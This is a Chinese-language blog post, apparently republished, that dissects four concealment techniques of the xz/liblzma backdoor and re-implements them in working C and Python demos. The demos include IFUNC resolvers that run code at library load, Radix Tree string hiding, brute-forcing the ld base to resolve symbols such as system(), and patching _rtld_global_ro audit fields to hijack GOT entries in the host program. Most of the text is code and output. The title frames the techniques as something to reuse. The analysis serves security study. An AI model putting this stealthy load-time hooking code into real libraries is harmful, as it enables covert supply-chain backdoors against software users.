将xz后门隐藏技术为我所用

admin 2024年5月13日01:08:09评论7 views字数 24023阅读80分4秒阅读模式
将xz后门隐藏技术为我所用
将xz后门隐藏技术为我所用

PART 1

点击上方蓝字关注我们

将xz后门隐藏技术为我所用

WHAT HAPPENED IN MAY

将xz后门隐藏技术为我所用

摘要

将xz后门隐藏技术为我所用

在本篇文章中主要讨论了xz后门的四大隐藏技术:

  • 利用GLIBC的IFUNC特性

  • 使用Radix Tree算法隐藏字符

  • 获取所有依赖信息

  • Hook其他依赖库函数

在本文中详细分析了上面的四大隐藏技术并模拟实现, 但实际上xz后门的复杂性远远超出我们的想象。

将xz后门隐藏技术为我所用

隐藏技术1:GLIBC的IFUNC特性

将xz后门隐藏技术为我所用

GLIBC 包含一个称为 IFUNC(间接函数)的特性。为了理解 IFUNC 的功能,首先看一个简单的示例代码,如下所示:

#include <stdio.h>
#include <stdlib.h>

void foo_1()
{
    printf("This is foo1n");
}

void foo_2()
{
    printf("This is foo2n");
}

typedef void (*foo_t)();
void foo() __attribute__((__ifunc__("foo_resolver")));

foo_t foo_resolver()
{
    char *path;
  printf("do foo_resolvern");
    path = getenv("FOO");
    if (path)
        return foo_1;
    else
        return foo_2;
}

void __attribute__((constructor)) initFunc(void) {
    printf("do initFunc.n");
}

int main(int argc, char *argv[])
{
    char *env;
    printf("Do Main Func.n");
    env = getenv("FOO");
    if (env)
        printf("do test FOO = %sn", env);
    foo();
    return 0;
}

上述代码片段首先为 foo 函数定义了一个 IFUNC 特性:void foo() attribute((ifunc("foo_resolver")));

foo 函数执行的代码由 foo_resolver 函数确定。这里编写 foo_resolver 函数来确定环境变量 FOO 是否设置。如果设置了,那么 foo 函数等于 foo_1 函数;否则,等于 foo_2 函数。

最后,代码还包括一个构造函数 initFunc,用于比较构造函数和 IFUNC 函数的执行顺序。

接下来,编译并运行上述代码,如下所示:

# Add -g for easier debugging later
$ gcc test.c -o test -g
$ ./test
Executing foo_resolver
Executing initFunc.
Executing Main Func.
This is foo2
$ FOO=1 ./test
Executing foo_resolver
Executing initFunc.
Executing Main Func.
FOO in test = 1
This is foo2

从上述执行结果可以观察到:

  • 执行顺序为 foo_resolver -> initFunc -> main。

  • foo_resolver 函数无法访问 FOO 环境变量。

继续从技术角度检查代码,通过使用 IDA 对测试程序进行逆向工程,发现 foo 函数被放置在 .got 表中,并未找到调用 foo_resolver 函数的代码。这表明在加载过程中,foo 函数的地址由 glibc 的 ld 确定。然而,ld 是如何知道调用 foo_resolver 函数的呢?经过进一步研究后发现:

$ readelf -s test |grep foo
    19: 00000000000011c3 26 FUNC GLOBAL DEFAULT   16 foo_2
    31: 00000000000011a9 26 FUNC GLOBAL DEFAULT   16 foo_1
    32: 00000000000011dd 71 IFUNC GLOBAL DEFAULT   16 foo
    38: 00000000000011dd 71 FUNC GLOBAL DEFAULT   16 foo_resolver

在二进制文件的符号表中,为 foo 函数定义了 IFUNC 标志,并且定义的地址是 foo_resolver 函数的地址。

由此可推断,当 glibc 处理 .got 表中的地址时,如果遇到 IFUNC 标志,它会执行该函数,然后将返回值写入 .got 表中。

下一步涉及调试代码以确认上面的推断。调试过程如下:

$ gdb test
pwndbg> b foo_resolver
pwndbg> r
......
 ? 0   0x5555555551e9 foo_resolver+12
   1   0x7ffff7fd46eb _dl_relocate_object+2443
   2   0x7ffff7fd46eb _dl_relocate_object+2443
   3   0x7ffff7fd46eb _dl_relocate_object+2443
   4   0x7ffff7fe6a63 dl_main+8579
   5   0x7ffff7fe283c _dl_sysdep_start+1020
   6   0x7ffff7fe4598 _dl_start+1384
   7   0x7ffff7fe4598 _dl_start+1384
......
 RAX 0x5555555551c3 (foo_2) ?— endbr64
  ? 0x555555555223 <foo_resolver+70> ret <0x7ffff7fd46eb; _dl_relocate_object+2443>
pwndbg> x/10gx 0x3FD0 + 0x555555554000 - 0x10
0x555555557fc0 <[email protected]>: 0x00007ffff7e0ce50 0x00007ffff7dec6f0
0x555555557fd0 <*ABS*@got.plt>: 0x0000000000001060  0x00007ffff7db5dc0
pwndbg> b main
pwndbg> x/10gx 0x3FD0 + 0x555555554000 - 0x10
0x555555557fc0 <[email protected]>: 0x00007ffff7e0ce50 0x00007ffff7dec6f0
0x555555557fd0 <*ABS*@got.plt>: 0x00005555555551c3  0x00007ffff7db5dc0

在上述调试内容中,可以确定的是:

foo_resolver 函数的调用过程大致如下:_dl_start -> dl_main -> _dl_relocate_object -> foo_resolver。ABS@got.plt 表示 foo 函数的 .got 表,其值在调用 foo_resolver 函数后被写入。在这一点上,可以解决之前的一些不确定性:由于 foo_resolver 函数是在 dl 链接阶段加载和调用的,在此阶段 GLIBC 尚未加载环境变量,因此调用 getenv 函数将返回 NULL,导致最终返回 foo_2 函数。

由此可以得出结论,GLIBC 的 IFUNC 特性允许在程序的 LD 加载阶段自动运行代码,类似于使用构造函数(attribute((constructor)))。XZ 后门利用了这一特性,在加载 liblzma.so 依赖库文件时自动运行后门代码。

此外,需要注意的是,IFUNC 特性在 glibc 版本 2.11.1 及以上版本中受支持。要编译包含 IFUNC 功能的代码,需要 GCC 版本 4.6 或更高版本的编译器,还需要 GNU Binutils 版本 2.20.1 或更高版本。

下面编写一个脚本来简单检查所有包含 IFUNC 的共享对象库:

#!/usr/bin/env python3
# -*- coding=utf-8 -*-

import os
import sys
from elftools.elf.elffile import ELFFile
from elftools.elf.sections import SymbolTableSection
def find_all_files(path):
    for root, dirs, files in os.walk(path):
        for file in files:
            yield os.path.join(root, file)
def is_elf(file):
    try:
        with open(file, "rb") as f:
            data = f.read(4)
    except:
        return False
    return data == b"x7FELF"
def get_ifunc_symbols(file_path):
    with open(file_path, 'rb') as f:
        elffile = ELFFile(f)
        ifunc_symbols = []
        for section in elffile.iter_sections():
            # Only process the symbol table section
            if isinstance(section, SymbolTableSection):
                for symbol in section.iter_symbols():
                    # Check if the symbol type is 'STT_GNU_IFUNC'
                    if symbol['st_info']['type'] == 'STT_LOOS':
                        ifunc_symbols.append(symbol)
        return ifunc_symbols
for file in find_all_files(sys.argv[1]):
    if is_elf(file):
        symbols = get_ifunc_symbols(file)
        if symbols:
            print(f"{file} found ST_IFUNC")
        for symbol in symbols:
            print(f"Name: {symbol.name}, Address: {hex(symbol['st_value'])}")

使用方法如下:

$ python3 check.py /lib
/lib/x86_64-linux-gnu/libz.so.1.2.11 found ST_IFUNC
Name: crc32_z, Address: 0x75e0
/lib/x86_64-linux-gnu/libz.so found ST_IFUNC
Name: crc32_z, Address: 0x75e0
/lib/x86_64-linux-gnu/libmvec.so.1 found ST_IFUNC
Name: _ZGVdN8vv_atan2f, Address: 0x8450
Name: _ZGVdN4v_atan, Address: 0x6a90
Name: _ZGVbN4v_acosf, Address: 0x7e50
Name: _ZGVdN8v_sinf, Address: 0x8780
......

这里随便找到了一个样例代码,地址:https://chromium.googlesource.com/chromium/deps/xz/+/dd8415469606fe7bfdc2ebc12b8457b912ede326/doc/examples/01_compress_easy.c, 使用以下命令进行编译:gcc test2.c -o test2 -llzma -g。

然后,使用 patchelf 工具,将二进制程序的 RPATH 修改为 liblzma.so 的路径:patchelf --set-rpath /home/ubuntu/xz-utils-vul/src/liblzma/.libs/ test2。

接下来,编写一个 .gdbinit 脚本,直接在 lzma_crc64 函数处设置断点:

$ cat .gdbinit
b _start
r
b _dl_relocate_object
c
b *0x7ffff7f84580 (Calculate the LZMA CRC64 address manually)
c
c
$ gdb test2
pwndbg> source .gdbinit
 ? 0x7ffff7f84580 endbr64
将xz后门隐藏技术为我所用

隐藏技术2:使用Radix Tree算法隐藏字符

将xz后门隐藏技术为我所用

经常从事逆向工程的技术人可能知道,很多时候都是通过识别特定字符串来定位代码。然而,在 XZ 后门文件 liblzma.so 的情况下,尽管已经了解到 XZ 后门针对 SSH 服务的关键功能进行了挂钩,但并未发现异常字符串。这是因为 XZ 后门利用了Radix Tree算法。

一些人已经使用这个算法从 liblzma.so 中提取了字符串。可以参考提取的字符串以及提取字符串的代码。

上述代码是算法的逆向工程过程。在研究了算法之后,下面编写了一个用于正向处理的 Python 代码,如下所示:

#!/usr/bin/env python3
# -*- coding=utf-8 -*-

class RadixObject:
    louint64: int
    hiuint64: int
    childPtr: dict
    def __init__(self, lo: int, hi: int):
        self.louint64 = lo
        self.hiuint64 = hi
        self.endPoint = 0
        self.childPtr = {}
    # Determine if a char is in the current linked list, where the char's range is from 0 to 128
    def isExist(self, char: int) -> bool:
        if char < 0 or char >= 128:
            raise Exception(f"isExist: char value err, char = {char}")
        if char < 0x40:
            return (self.louint64 >> char) &amp; 1 == 1
        else:
            char -= 0x40
            return (self.hiuint64 >> char) &amp; 1 == 1
    def getChild(self, char: int):
        if char >= 0x40:
            char -= 0x40
        return self.childPtr[char]
class RadixTree:
    def __init__(self):
        self.rootRadix: RadixObject = RadixObject(0, 0)
    def insertStr(self, string: bytes) -> int:
        if not self.checkValidStr(string):
            return -1
        currentRadix = self.rootRadix
        for i in string[:-1]:
            currentRadix = self.__add(currentRadix, i)
        self.__add(currentRadix, string[-1], True)
        return 1
    def searchTest(self, string: bytes) -> bool:
        if not self.checkValidStr(string):
            return False
        currentRadix = self.rootRadix
        for c in string[:-1]:
            if not currentRadix.isExist(c):
                return False
            currentRadix = currentRadix.getChild(c)
        if currentRadix.isExist(string[-1]) and (currentRadix.endPoint >> string[-1]) &amp; 1 == 1:
            return True
        return False
    def __add(self, radix: RadixObject, char: int, last: bool = False)->RadixObject:
        if last:
            radix.endPoint |= 1 << char
        if not radix.isExist(char):
            if char < 0x40:
                radix.louint64 |= 1<<char
            else:
                char -= 0x40
                radix.hiuint64 |= 1<<char
            radix.childPtr[char] = RadixObject(0, 0)
        else:
            if char >= 0x40:
                char -= 0x40
        return radix.childPtr[char]
    # string: ascii 0 - 128
    def checkValidStr(self, string: bytes) -> bool:
        for i in string:
            if i >= 0 and i < 128:
                continue
            return False
        return True
def main():
    rd = RadixTree()
    rd.insertStr(b"ABCDEFG")
    rd.insertStr(b"IIBBJ")
    rd.insertStr(b"ABCDE")
    print(rd.searchTest(b"ABCDE"))
if __name__ == "__main__":
    main()

上面实现的Radix Tree算法相比 XZ 后门中的实现简化了压缩存储数据部分。此外,由于它是用 Python 编写的,更容易理解。

研究 XZ 后门的过程通常涉及本地编译 liblzma.so 文件。由于编译环境的差异,导致的偏移地址可能略有不同。因此,在下面,将根据从 GitHub 中提取字符串的代码简要解释Radix Tree算法的逻辑。

在代码中,有两个内存表:tbl_1_mem 和 tbl_2_mem,均从 IDA 中提取,并以相反的顺序使用。

在 tbl_1_mem 表中,数据记录标志信息和指向子链的指针。每个结构占据 4 个字节。

在 tbl_2_mem 表中,存储字符信息。每个结构占据 16 个字节,相当于正向算法代码中的 RadixObject 对象的 louint64 和 hiuint64。每个结构总共 128 位(16 字节),能够表示 128 个字符。由于 ASCII 码的范围是从 0 到 127,一个结构可以表示任何 ASCII 字符。

在代码中,tbl_2 的起始偏移被定义为 tbl_2_offs=0x760。让我们计算表的大小及其差异:len(tbl_2_mem) - 0x760 = 16。

可以观察到Radix Tree的根链位于 tbl_2 的最后 16 个字节中。下面计算 tbl_1:

>>> popcount(tbl_2[0]) + popcount(tbl_2[1])
30 # Calculating how many characters are stored in the root chain, i.e., how many different starting characters the stored strings have
>>> len(tbl_1_mem) - 0x13e8
120
>>> 120 / 4
30 # From this, it can be seen that the last 120 bytes of tbl_1 store the flag information of the 30 characters in the root chain and pointers to the child chains

如果想要实现 XZ 后门中使用的Radix Tree算法的效果,首先需要将提供的 Python 代码转换为 C 代码。然后,需要对内存进行压缩。例如,在 Python 代码中,子链的键直接设置为字符的 ASCII 码,而在 XZ 后门中,键被设置为从 0 开始的第 n 个字符。

Radix Tree算法可以有效地隐藏代码中的字符串信息,而不需要直接将字符串嵌入到代码中。这有点类似于签名验证,两者都是不可逆的算法。区别在于,Radix Tree算法可以通过暴力破解轻松重构所有字符串信息。

将xz后门隐藏技术为我所用

隐藏技术3:获取所有依赖信息

将xz后门隐藏技术为我所用

以下是关于 XZ 后门如何收集依赖库信息的简要解释。

  • 获取 tls_get_addr 函数的 .plt 表地址,从中导出其 .got 表地址,然后获取 tls_get_addr 函数的实际地址。

  • 由于 __tls_get_addr 函数位于 ld 中,可以基于此地址对 ld 的基址进行暴力破解。

  • 一旦获得 ld 的基址,就可以匹配 ld 的 ELF 头信息,从而轻松匹配 ld 的任何符号地址。

  • 第一个匹配是 ld 中的 __libc_stack_end 指针,它指向堆栈底部。通常,此地址之后仅存储程序执行参数和环境变量。

  • 一旦匹配到 __libc_stack_end 地址,就可以检索执行参数和环境变量。然后,可以进行过滤,只有符合某些条件的才能继续执行后续步骤。

 接下来,匹配 ld 中的 _r_debug 指针,它存储 r_debug 结构。在此结构中,r_map 结构存储所有依赖库的地址。

 基于 r_map 结构,可以直接匹配诸如 libc.so、libcrypto、sshd 等文件的内存地址。一旦知道了地址,就可以使用第三步描述的步骤获取任何所需的符号地址,比如 RSA_public_decrypt 函数的地址。虽然上述步骤看起来很直接,但代码仍然相对复杂。基于上述逻辑,写了一个简化的演示代码。

#include "testlib.h"

extern const void * __tls_get_addr ();
extern void *_GLOBAL_OFFSET_TABLE_;
void *ld_base_addr = 0;
void foo_1()
{
    printf("This is foo1n");
}
void foo_2()
{
    printf("This is foo2n");
}
void *findLdBase()
{
    void * tls_get_addr = __tls_get_addr;
    void *ld_end_addr = 0;
    ld_base_addr = (void *)((uint64_t)tls_get_addr & 0xFFFFFFFFFFFFF000);
    ld_end_addr = ld_base_addr - 0x20000;
    while (memcmp(ld_base_addr, "x7F""ELF", 4))
    {
        ld_base_addr -= 0x1000;
        if (ld_base_addr == ld_end_addr) {
            printf("findLdBase Error.n");
            return (void *)-1;
        }
    }
    printf("success find ld base addr: %pn", ld_base_addr);
    return ld_base_addr;
}
void *findSymAddr(void *addr, const char *symbol) {
    Elf64_Ehdr *ehdr = (Elf64_Ehdr *)addr;
    Elf64_Phdr *phdr = (Elf64_Phdr *)(addr + ehdr->e_phoff);
    Elf64_Dyn *dyn = NULL;
    Elf64_Sym *symtab = NULL;
    char *strtab = NULL;
    void (*symAddr)();
    for (int i = 0; i < ehdr->e_phnum; i++) {
        if (phdr[i].p_type == PT_DYNAMIC) {
            dyn = (Elf64_Dyn *)(addr + phdr[i].p_vaddr);
            break;
        }
    }
    if (dyn == NULL) {
        printf("Dynamic segment not found.n");
        return NULL;
    }
    for (int i = 0; dyn[i].d_tag != DT_NULL; i++) {
        if (dyn[i].d_tag == DT_SYMTAB) {
            symtab = (Elf64_Sym *)(dyn[i].d_un.d_ptr);
        }
        if (dyn[i].d_tag == DT_STRTAB) {
            strtab = (char *)(dyn[i].d_un.d_ptr);
        }
    }
    if (symtab == NULL || strtab == NULL) {
        printf("Symbol table or string table not found.n");
        return NULL;
    }
    for (int i = 0; &symtab[i] < strtab; i++) {
        if (strcmp(strtab + symtab[i].st_name, symbol) == 0) {
            symAddr = (void *)addr + symtab[i].st_value;
            printf("Symbol %s found at address %pn", symbol, symAddr);
            return symAddr;
        }
    }
    printf("Symbol %s not found.n", symbol);
    return NULL;
}
void getArgsEnv(void *stackAddr[])
{
    char **argv = *(char **)stackAddr;
    char **envp;
    int i;
    int argc = (int)argv[0];
    printf("argc = %dn", argc);
    for (i=1; argv[i] != 0; i++)
    {
        printf("argv[%d] = %sn", i-1, argv[i]);
    }
    envp = &argv[i+1];
    for (i=0; envp[i] != 0; i++)
    {
        printf("envp[%d] = %sn", i, envp[i]);
    }
}
void getLinkMap(struct link_map *r_map)
{
    char *l_name;
    while (1)
    {
        printf("name = %s, addr = %p, ld addr = %pn", r_map->l_name, r_map->l_addr, r_map->l_ld);
        if (strstr(r_map->l_name, "libc.so.6"))
        {
            findSymAddr(r_map->l_addr, "system");
        }
        if (!r_map->l_next)
            break;
        r_map = r_map->l_next;
    }
}
int doBackdoor()
{
    int status;
    void (*ldBaseAddr)();
    void (*libc_stack_end)();
    struct r_debug* rc_debug;
    ldBaseAddr = findLdBase();
    if ((int64_t)ldBaseAddr <= 0)
        goto error;
    libc_stack_end = findSymAddr(ldBaseAddr, "__libc_stack_end");
    getArgsEnv(libc_stack_end);
    rc_debug = findSymAddr(ldBaseAddr, "_r_debug");
    getLinkMap(rc_debug->r_map);
    error:
    return -1;
}
void foo() __attribute__((__ifunc__("foo_resolver")));
foo_t foo_resolver()
{
    char *path;
    printf("do foo_resolvern");
    doBackdoor();
    path = getenv("PATH");
    if (path)
        return foo_1;
    else
        return foo_2;
}

下面,编写一个主函数:

#include "testlib.h"

int main(int argc, char *argv[])
{
    foo();
    return 0;
}

头文件如下:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <elf.h>
#include <link.h>

typedef void (*foo_t)();
foo_t foo_resolver();
void foo_2();
void foo_1();

上述代码执行结果如下:

$ LD_LIBRARY_PATH=. ./test4
do foo_resolver
success find ld base addr: 0x7f8a42a9f000
Symbol __libc_stack_end found at address 0x7f8a42ad8a90
argc = 1
argv[0] = ./test4
envp[0] = USER=ubuntu
......
Symbol _r_debug found at address 0x7f8a42ada118
name = , addr = 0x5624d7d18000, ld addr = 0x5624d7d1bdb8
name = linux-vdso.so.1, addr = 0x7ffe2979c000, ld addr = 0x7ffe2979c3e0
name = ./libtest.so, addr = 0x7f8a42a98000, ld addr = 0x7f8a42a9bdf0
name = /lib/x86_64-linux-gnu/libc.so.6, addr = 0x7f8a42869000, ld addr = 0x7f8a42a82bc0
Symbol system found at address 0x7f8a428b9d70
name = /lib64/ld-linux-x86-64.so.2, addr = 0x7f8a42a9f000, ld addr = 0x7f8a42ad8e80
This is foo2

上面的代码是 XZ 后门的简化版本,仅实现了核心功能,并在可能的情况下使用库函数。值得注意的是,在 XZ 后门中,很少使用库函数,大多数功能都是独立实现的。

以下是上述代码的主要逻辑概述:

  1. 使用 __tls_get_addr 的地址对 ld 的基址进行暴力破解。

  2. 实现一个函数,可以在给定 ELF 文件的内存基址的情况下找到任何符号地址。

  3. 搜索 __libc_stack_end 地址,然后根据该地址输出参数和环境变量信息。

  4. 搜索 _r_debug 地址,并使用该地址找到所有已加载程序的信息。XZ 后门在 sshd 程序中定位 RSA_public_decrypt 地址,模拟在 libc 中找到系统函数地址的过程。"

注意事项:

  • 名称为 blank 的程序被视为主程序。

  • 函数 "findSymAddr" 是由一个经过调优的 GPT-4 模型在标准化的安全社区术语中自动生成的。

  • 在上述代码中,可以直接通过从 tls_get_addr 函数的 .got 表中获取地址来获取函数的实际地址。然而,在 XZ 后门中,获取了 tls_get_addr 函数的 .plt.got 中的地址,但尚未理解实现这一方法的方式。执行命令 readelf -r liblzma_la-crc64_fast.o(后门存在的地方),会找到一个重定位表,但实现方法仍不清楚。

Relocation section '.rela.rodata.rc_encode' at offset 0x157c8 contains 2 entries:
  Offset Info Type Sym. Value Sym. Name + Addend
000000000000  010e0000001f R_X86_64_PLTOFF64 0000000000000000 __tls_get_addr + 0
000000000008  00d400000019 R_X86_64_GOTOFF64 0000000000000000 .Lx86_coder_destroy + 0

经过研究,暂时还无法理解如何在 .rodata 段中编译类型为 R_X86_64_PLTOFF64/R_X86_64_GOTOFF64 的值,而不需要对二进制文件进行修补。

将xz后门隐藏技术为我所用

隐藏技术4:Hook其他依赖库函数

将xz后门隐藏技术为我所用

许多文章提到 xz 后门利用 dl_audit 机制进行函数挂钩。然而,它们通常假设读者已经熟悉了这个机制,不深入探讨其过程。

因此,接下来将解释 xz 后门利用 dl_audit 机制进行函数挂钩的过程。

在一篇引用的文章中,提到 _dl_audit_symbind_alt 函数调用 install_hooks 函数。然而,在 Ubuntu 22.04 环境中进行调试后发现,实际调用的是 _dl_audit_symbind 函数,而 _dl_audit_symbind_alt 函数未被调用。

位于 elf/do-rel.h 文件中的 elf_dynamic_do_Rel 函数调用了 _dl_audit_symbind。代码片段如下:

// elf/do-rel.h
......
          elf_machine_rel (map, scope, r, sym, rversion, r_addr_arg,
                   skip_ifunc);
#if defined SHARED && !defined RTLD_BOOTSTRAP
          if (ELFW(R_TYPE) (r->r_info) == ELF_MACHINE_JMP_SLOT
          && GLRO(dl_naudit) > 0)
        {
          struct link_map *sym_map
            = RESOLVE_MAP (map, scope, &sym, rversion,
                   ELF_MACHINE_JMP_SLOT);

          if (sym != NULL)
            _dl_audit_symbind (map, NULL, sym, r_addr_arg, sym_map);
        }
#endif
        }
......

上面的代码揭示了只有当条件 GLRO(dl_naudit) > 0 满足时才会进入 _dl_audit_symbind 函数。

_dl_audit_symbind 函数位于 elf/dl-audit.c 文件中,部分代码如下所示:

// elf/dl-audit.c
void
_dl_audit_symbind (struct link_map *l, struct reloc_result *reloc_result,
           const ElfW(Sym) *defsym, DL_FIXUP_VALUE_TYPE *value,
           lookup_t result)
{
  bool for_jmp_slot = reloc_result == NULL;
  /* Compute index of the symbol entry in the symbol table of the DSO
     with the definition. */

  unsigned int boundndx = defsym - (ElfW(Sym) *) D_PTR (result,
                            l_info[DT_SYMTAB]);
  if (!for_jmp_slot)
    {
      reloc_result->bound = result;
      reloc_result->boundndx = boundndx;
    }
  if ((l->l_audit_any_plt | result->l_audit_any_plt) == 0)
    {
      /* Set all bits since this symbol binding is not interesting. */
      if (!for_jmp_slot)
    reloc_result->enterexit = (1u << DL_NNS) - 1;
      return;
    }
......
  for (unsigned int cnt = 0; cnt < GLRO(dl_naudit); ++cnt)
    {
      /* XXX Check whether both DSOs must request action or only one */
      struct auditstate *l_state = link_map_audit_state (l, cnt);
      struct auditstate *result_state = link_map_audit_state (result, cnt);
      if ((l_state->bindflags & LA_FLG_BINDFROM) != 0
      && (result_state->bindflags & LA_FLG_BINDTO) != 0)
    {
      if (afct->symbind != NULL)
        {
          flags |= for_jmp_slot ? LA_SYMB_NOPLTENTER | LA_SYMB_NOPLTEXIT
                    : 0;
          new_value = afct->symbind (&sym, boundndx,
                     &l_state->cookie,
                     &result_state->cookie, &flags,
                     strtab2 + defsym->st_name);
......

经过研究发现,_dl_audit_symbind 函数必须满足条件 (l->l_audit_any_plt | result->l_audit_any_plt) == 0,并且 l_state 和 result_state 必须分别满足条件,才能继续调用 afct->symbind 函数。

现在,关键条件已经讨论完毕,下面深入探讨下xz 后门中挂钩函数背后的逻辑。

首先,定位 ld 中的符号 _dl_audit_symbind_alt,然后,在函数的内存空间中,使用内置的反汇编函数识别变量 GLRO(dl_audit) 和 GLRO(dl_naudit) 的地址。(这里可能存在一种猜测;根据引用的文章,这个分析是错误的。xz 后门通过 _dl_audit_symbind_alt 函数匹配这两个变量的地址,而不是稍后调用它。) 将 dl_naudit 的值设为 1,并将 dl_audit 结构中的 symbind64 函数指针设置为 install_hook 函数。 根据从 r_debug 结构匹配到的 sshd ELF 文件的 link_map 结构,将其成员变量 l_audit_any_plt 的值设置为 1。 在处理重定位表时,ld 首先处理共享对象库。在处理 liblzma.so 的重定位表时,它调用后门函数并执行上述步骤。 最后,在处理 sshd 的重定位表时,流程进入 _dl_audit_symbind 函数。这个函数会为每个重定位表条目调用。随后,在 install_hook 函数中,会对符号名称进行过滤。如果找到了诸如 RSA_public_decrypt、EVP_PKEY_set1_RSA 和 RSA_get0_key 等符号的匹配项,则会修改 sshd 的 GOT 表,使其指向相应的钩子函数。此外,还会修改匹配符号的 Elf64_Sym 结构。 下面是一个简单的演示,模拟了 xz 后门的上述逻辑过程:

// testlib.c
// gcc -g testlib.c -o libtest.so -shared -fPIC
#include "testlib.h"
extern const void * __tls_get_addr ();
extern void *_GLOBAL_OFFSET_TABLE_;
void *ld_base_addr = 0;
struct audit_ifaces dl_audit;
void **aes_func_got;
void foo_1()
{
    printf("This is foo1n");
}
void foo_2()
{
    printf("This is foo2n");
}
void hook_aes_func(char *key, int length, char *enc_key)
{
    printf("do hook_aes_funcnlength = %dn", length);
}
uint64_t install_hook(Elf64_Sym *a1, void *a2, void *a3, void *a4, void *a5, char *sym_name)
{
    printf("do install_hook, sym_name = %sn", sym_name);
    if (!strcmp(sym_name, "AES_set_encrypt_key"))
    {
        *aes_func_got = &hook_aes_func;
        a1->st_value = &hook_aes_func;
    }
    return a1->st_value;
}
void *findLdBase()
{
    void * tls_get_addr = __tls_get_addr;
    void *ld_end_addr = 0;
    ld_base_addr = (void *)((uint64_t)tls_get_addr & 0xFFFFFFFFFFFFF000);
    ld_end_addr = ld_base_addr - 0x20000;
    while (memcmp(ld_base_addr, "x7F""ELF", 4))
    {
        ld_base_addr -= 0x1000;
        if (ld_base_addr == ld_end_addr) {
            printf("findLdBase Error.n");
            return (void *)-1;
        }
    }
    printf("success find ld base addr: %pn", ld_base_addr);
    return ld_base_addr;
}
void *findSymAddr(void *addr, const char *symbol, int mode) {
    Elf64_Ehdr *ehdr = (Elf64_Ehdr *)addr;
    Elf64_Phdr *phdr = (Elf64_Phdr *)(addr + ehdr->e_phoff);
    Elf64_Dyn *dyn = NULL;
    Elf64_Sym *symtab = NULL;
    char *strtab = NULL;
    void (*symAddr)();
    Elf64_Rela* relas = NULL;
    int rela_count = 0;
    for (int i = 0; i < ehdr->e_phnum; i++) {
        if (phdr[i].p_type == PT_DYNAMIC) {
            dyn = (Elf64_Dyn *)(addr + phdr[i].p_vaddr);
            break;
        }
    }
    if (dyn == NULL) {
        printf("Dynamic segment not found.n");
        return NULL;
    }
    for (int i = 0; dyn[i].d_tag != DT_NULL; i++) {
        if (dyn[i].d_tag == DT_SYMTAB) {
            symtab = (Elf64_Sym *)(dyn[i].d_un.d_ptr);
        }
        else if (dyn[i].d_tag == DT_STRTAB) {
            strtab = (char *)(dyn[i].d_un.d_ptr);
        }
        else if (dyn[i].d_tag == DT_JMPREL) {
            relas = (Elf64_Rela*) ((char*)dyn[i].d_un.d_ptr);
        }
        else if (dyn[i].d_tag == DT_PLTRELSZ) {
            rela_count = dyn[i].d_un.d_ptr / sizeof(Elf64_Rela);
        }
    }
    if (symtab == NULL || strtab == NULL) {
        printf("Symbol table or string table not found.n");
        return NULL;
    }
    if (mode == 1 && relas == NULL)
    {
        printf("rela table not found.n");
        return NULL;
    }
    if (mode == 1)
    {
        for (int i = 0; i < rela_count; i++) {
            Elf64_Sym* sym = &symtab[ELF64_R_SYM(relas[i].r_info)];
            if (strcmp(strtab + sym->st_name, symbol) == 0) {
                symAddr = (void *)addr + relas[i].r_offset;
                printf("Symbol %s got found at address %pn", symbol, symAddr);
                return symAddr;
            }
        }
    }
    else {
        for (int i = 0; &symtab[i] < strtab; i++) {
            if (strcmp(strtab + symtab[i].st_name, symbol) == 0) {
                symAddr = (void *)addr + symtab[i].st_value;
                printf("Symbol %s found at address %pn", symbol, symAddr);
                return symAddr;
            }
        }
    }
    printf("Symbol %s not found.n", symbol);
    return NULL;
}
void setAuditPtr(struct link_map *r_map)
{
    // set l_audit_any_plt
    char *l_name;
    struct link_map *elf_ptr = 0;
    struct link_map *libcrypto_ptr = 0;
    char plt;
    while (1)
    {
        if (r_map->l_name && *(char *)r_map->l_name == 0)
        {
            printf("name = %s, addr = %p, ld addr = %pn", r_map->l_name, r_map->l_addr, r_map->l_ld);
            elf_ptr = r_map;
            aes_func_got = findSymAddr(r_map->l_addr, "AES_set_encrypt_key", 1);
        }
        else if (strstr(r_map->l_name, "libcrypto.so.3"))
        {
            printf("name = %s, addr = %p, ld addr = %pn", r_map->l_name, r_map->l_addr, r_map->l_ld);
            libcrypto_ptr = r_map;
        }
        if (!r_map->l_next)
            break;
        r_map = r_map->l_next;
    }
    if (!elf_ptr)
    {
        printf("get elf link_map errorn");
        return;
    }
    printf("success get elf link_map = %pn", elf_ptr);
    //Due to the fact that the l_audit_any_plt variable does not exist in the struct link_map structure imported from /usr/include/link.h, and using glibc's elf/link.h directly would require resolving numerous errors, offsets are used instead.
    plt = *((char *)elf_ptr + 0x31e);
    *((char *)elf_ptr + 0x31e) = plt | 1;
    // Set the bindflags
    *((char *)elf_ptr + 0x488 + 8) = 2;
    *((char *)libcrypto_ptr + 0x488 + 8) = 1;
}
int doBackdoor()
{
    int status;
    void (*ldBaseAddr)();
    void (*libc_stack_end)();
    void *rtld_global_ro;
    struct r_debug* rc_debug;
    int *dl_naudit;
    struct audit_ifaces **dl_audit_ptr;
    ldBaseAddr = findLdBase();
    if ((int64_t)ldBaseAddr <= 0)
        goto error;
    rc_debug = findSymAddr(ldBaseAddr, "_r_debug", 0);
    setAuditPtr(rc_debug->r_map);
    rtld_global_ro = findSymAddr(ldBaseAddr, "_rtld_global_ro", 0);
    dl_naudit = rtld_global_ro + 920;
    *dl_naudit = 1;
    dl_audit_ptr = rtld_global_ro + 912;
    dl_audit.symbind64 = install_hook;
    *dl_audit_ptr = &dl_audit;
    error:
    return -1;
}
void foo() __attribute__((__ifunc__("foo_resolver")));
foo_t foo_resolver()
{
    char *path;
    printf("do foo_resolvern");
    doBackdoor();
    path = getenv("PATH");
    if (path)
        return foo_1;
    else
        return foo_2;
}

还有另一个主程序,其代码如下所示:

// test5.c
// gcc test5.c -o test5 -L. -ltest -lcrypto
#include "testlib.h"
#include <openssl/aes.h>
void importCryptoDemo()
{
    // The key to use for encryption
    AES_KEY enc_key;
    unsigned char key[AES_BLOCK_SIZE];
    memset(key, 0, AES_BLOCK_SIZE); // Zeroing the key
    AES_set_encrypt_key(key, 128, &enc_key);
}
int main(int argc, char *argv[])
{
    char *path;
    foo();
    importCryptoDemo();
    return 0;
}

执行结果如下所示:

$ LD_LIBRARY_PATH=. ./test5
do foo_resolver
success find ld base addr: 0x7f1e9ad80000
Symbol _r_debug found at address 0x7f1e9adbb118
name = , addr = 0x561bd3a66000, ld addr = 0x561bd3a69d90
Symbol AES_set_encrypt_key got found at address 0x561bd3a69fd0
